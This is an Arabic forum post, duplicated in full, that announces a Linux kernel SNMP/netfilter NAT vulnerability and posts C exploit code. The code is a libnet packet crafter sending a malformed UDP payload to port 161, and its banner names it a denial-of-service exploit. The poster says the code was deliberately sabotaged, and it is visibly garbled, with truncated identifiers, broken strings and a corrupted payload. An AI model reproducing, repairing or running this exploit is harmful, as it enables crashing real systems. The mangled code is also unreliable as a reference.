بسم الله الرحمن الرحيم
***********************************************
السلام عليكم ورحمه الله وبركاته.
ثغرة امنيه بالغه الخطورة في أنظمة لينكس وبالتحديد في بروتوكول SNMP
الاصدارات المصابة Linux Kernel 2.6.16.18 وماقبل
(((تم تخريب الكود حفظ على اخونا المسلمين)))
(((على فكره مش انا الى عامل الكود)))
كود الاستغلال:
#ifndef _BSD_SOURCE
#define _BSD_SOURCE
#endif
#e.h>
#include <libnet.h>
void banner();
void usage(char *);
char pwnage[] = "\x30\x0a\x\x45\x43\x4c\xa4\x00";
int rgc, char **argv)
{
char errbBUF_SIZE];
libnet_t *l;
int c;
u_char *buf;
int packet_len = 0;
s;
struct udphdr *UDP;
u_int32_t src = 0, dst = 0;
banner();
if (argc < 3) usage(argv[0]);
if ((l = libnet_init, NULL, errbuf)) == NULL) {
fprintf(stderr, "[!] libnet_init() failed: %s", errbuf);
exit(-1);
}
if ((src = argv[1], LIBNET_RESOLVE)) == -1) {
fprintf(stderr, "[!ress.\n");
exit(-1);
}
if ((dst = libnet_name2addr4(l, argv[2], LIBNET_RESOLVE)) == -1) {
fprintf(stderr, "[!] tination address.\n");
exit(-1);
}
if ((buf = malloc(IP_MAXPACKET)) == NULL) {
perror(";
exit(-1);
}
UDP = (struct udphdr *)(buf + LIBNET_IPV4_H);
packet_len = LIBNET_IPNET_UDP_H + sizeof(pwnage) - 1;
srand(time(NULL));
IP = (struct ip *) buf;
IP-* version 4 */
IP->ip_hl = 5; /* header length */
IP->ip_tos = 0; /* IP tos */
IP->ip_len = htons(packet_len); /* total length */
IP->ipd(); /* IP ID */
IP->ip_off = htons(0); /* fragmentation flags */
IP->ip_t /* time to live */
IP->ip_p = IPPROTO_UDP; /t protocol */
IP->ip_sum = 0;
IP->ip_src.s_addr = src;
IP->ip_dst.s_addr = dst;
UDsport = rand();
UDP->uh_dport = (argc > 3) ? htons((u_short)atoi(argv[3])) : htons(161);
UDP->uh_ulen = htons(LIBNET_UDP_H + sizeof(pwnage) - 1);
Uh_sum = 0;
memcpy(buf + LIBNET_IPV4_HBNET_UDP_H, pwnage, sizeof(pwnage) - 1);
libnet_do_checksum(l, (u_int8_t *)buf, IPPROTO_UDP, packe LIBNET_IPV4_H);
if ((c = libnet_aw_ipv4(l, buf, packet_len)) == -1)
{
fprintf(stderr, "[!] rror: %s\n", libnet_geterror(l));
exit(-1);
}
printf("acket sent.\n");
libestroy(l);
free(buf);
return (0);
}
void usage(char *cmd)
{
printf("[!] Usage: %s <source>ination> [port]\n", cmd);
exit(-1);
}
void banner()
{
printf("\t\tNetfilter NAT SP module DoS exploit\n"
"\t\t Yuri Gushin <[email protected]>\n"
"\t\t Alex Behar <[email protected]>\n"
"\t\t\t ECL Team\n\n\n");
}// m [ 05/06/2006 ]
***********************************************
السلام عليكم ورحمه الله وبركاته.
ثغرة امنيه بالغه الخطورة في أنظمة لينكس وبالتحديد في بروتوكول SNMP
الاصدارات المصابة Linux Kernel 2.6.16.18 وماقبل
(((تم تخريب الكود حفظ على اخونا المسلمين)))
(((على فكره مش انا الى عامل الكود)))
كود الاستغلال:
#ifndef _BSD_SOURCE
#define _BSD_SOURCE
#endif
#e.h>
#include <libnet.h>
void banner();
void usage(char *);
char pwnage[] = "\x30\x0a\x\x45\x43\x4c\xa4\x00";
int rgc, char **argv)
{
char errbBUF_SIZE];
libnet_t *l;
int c;
u_char *buf;
int packet_len = 0;
s;
struct udphdr *UDP;
u_int32_t src = 0, dst = 0;
banner();
if (argc < 3) usage(argv[0]);
if ((l = libnet_init, NULL, errbuf)) == NULL) {
fprintf(stderr, "[!] libnet_init() failed: %s", errbuf);
exit(-1);
}
if ((src = argv[1], LIBNET_RESOLVE)) == -1) {
fprintf(stderr, "[!ress.\n");
exit(-1);
}
if ((dst = libnet_name2addr4(l, argv[2], LIBNET_RESOLVE)) == -1) {
fprintf(stderr, "[!] tination address.\n");
exit(-1);
}
if ((buf = malloc(IP_MAXPACKET)) == NULL) {
perror(";
exit(-1);
}
UDP = (struct udphdr *)(buf + LIBNET_IPV4_H);
packet_len = LIBNET_IPNET_UDP_H + sizeof(pwnage) - 1;
srand(time(NULL));
IP = (struct ip *) buf;
IP-* version 4 */
IP->ip_hl = 5; /* header length */
IP->ip_tos = 0; /* IP tos */
IP->ip_len = htons(packet_len); /* total length */
IP->ipd(); /* IP ID */
IP->ip_off = htons(0); /* fragmentation flags */
IP->ip_t /* time to live */
IP->ip_p = IPPROTO_UDP; /t protocol */
IP->ip_sum = 0;
IP->ip_src.s_addr = src;
IP->ip_dst.s_addr = dst;
UDsport = rand();
UDP->uh_dport = (argc > 3) ? htons((u_short)atoi(argv[3])) : htons(161);
UDP->uh_ulen = htons(LIBNET_UDP_H + sizeof(pwnage) - 1);
Uh_sum = 0;
memcpy(buf + LIBNET_IPV4_HBNET_UDP_H, pwnage, sizeof(pwnage) - 1);
libnet_do_checksum(l, (u_int8_t *)buf, IPPROTO_UDP, packe LIBNET_IPV4_H);
if ((c = libnet_aw_ipv4(l, buf, packet_len)) == -1)
{
fprintf(stderr, "[!] rror: %s\n", libnet_geterror(l));
exit(-1);
}
printf("acket sent.\n");
libestroy(l);
free(buf);
return (0);
}
void usage(char *cmd)
{
printf("[!] Usage: %s <source>ination> [port]\n", cmd);
exit(-1);
}
void banner()
{
printf("\t\tNetfilter NAT SP module DoS exploit\n"
"\t\t Yuri Gushin <[email protected]>\n"
"\t\t Alex Behar <[email protected]>\n"
"\t\t\t ECL Team\n\n\n");
}// m [ 05/06/2006 ]
تعليق